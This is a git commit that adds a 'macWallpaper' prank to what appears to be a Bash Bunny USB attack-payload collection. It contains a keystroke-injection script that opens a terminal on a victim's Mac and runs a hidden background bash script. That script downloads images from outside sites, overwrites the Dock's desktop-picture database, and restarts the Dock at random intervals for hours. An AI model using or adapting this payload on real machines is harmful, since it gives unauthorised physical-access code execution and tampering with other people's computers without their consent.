Add macDesktop prank (#236)

* Add macDesktop prank

Runs a script in background that will download pictures of my little pony (or whatever else you'd like, just change the urls to the pictures) and randomly sets that as their desktop background every 45 minutes - 5 hours. You can change number in for loop to decide how many times it will change their background.

https://forums.hak5.org/topic/41605-payload-macwallpaper/

* Update readme

* Save process Id as file name to /tmp

Save process Id as file name to /tmp so that you can easily kill the prank if someone is screaming at you.
pull/234/merge
jafahulo 2017-08-14 19:59:04 -05:00 committed by Sebastian Kinne
parent 3c2dd4ac1e
commit 761dd0e433
3 changed files with 81 additions and 0 deletions

View File

@ -0,0 +1,22 @@
## macWallpaper by Jafahulo
* Author: Jafahulo
* Version: Version 1.0
* Target: OSX
## Description
Runs a script in background that will download pictures of my
little pony (or whatever else you'd like) and randomly sets that
as their desktop background every 45 minutes - 5 hours. change
number in for loop to decide how many times it will change their
background.
## Configuration
None
## Status
too fast to really be useful
## Discussion
https://forums.hak5.org/topic/41605-payload-macwallpaper/

View File

@ -0,0 +1,37 @@
pid=$$
touch /tmp/$pid
for (( i=0; i < 5; ++i ))
do
if [ ! -e /tmp/1.jpg ]; then
wget "http://www.hdwallpapers.in/walls/my_little_pony_the_movie_4k-wide.jpg" -O "/tmp/1.jpg";
fi
if [ ! -e /tmp/2.jpg ]; then
wget "http://wallpapersafari.com/download/rzbCmJ/" -O "/tmp/2.jpg";
fi
if [ ! -e /tmp/3.jpg ]; then
wget "https://images3.alphacoders.com/152/152507.jpg" -O "/tmp/3.jpg";
fi
if [ ! -e /tmp/4.jpg ]; then
wget "https://images3.alphacoders.com/152/152475.jpg" -O "/tmp/4.jpg";
fi
if [ ! -e /tmp/5.jpg ]; then
wget "http://fanaru.com/my-little-pony-friendship-is-magic/image/56392-my-little-pony-friendship-is-magic-rarity-lineart.png" -O "/tmp/5.jpg";
fi
let number="$RANDOM % 5 + 1 | bc"
echo $number
sqlite3 ~/Library/Application\ Support/Dock/desktoppicture.db "update data set value = '/tmp/$number.jpg'";
killall Dock
let time="$RANDOM % 18000 + 2700 | bc"
echo $time
sleep $time
done
rm /tmp/1.jpg /tmp/2.jpg /tmp/3.jpg /tmp/4.jpg /tmp/5.jpg /tmp/$pid

View File

@ -0,0 +1,22 @@
ATTACKMODE HID STORAGE 0xF000/0xFF02
LED ATTACK
Q GUI SPACE
Q DELAY 200
Q STRING terminal
Q DELAY 100
Q ENTER
Q DELAY 1000
Q GUI n
Q DELAY 1000
Q STRING bash \<\(cat \/Volumes\/BashBunny\/payloads\/switch1\/macWallpaper.sh\) \>\/dev\/null 2\>\&1 \& disown
Q ENTER
Q GUI W
Q ENTER
LED FINISH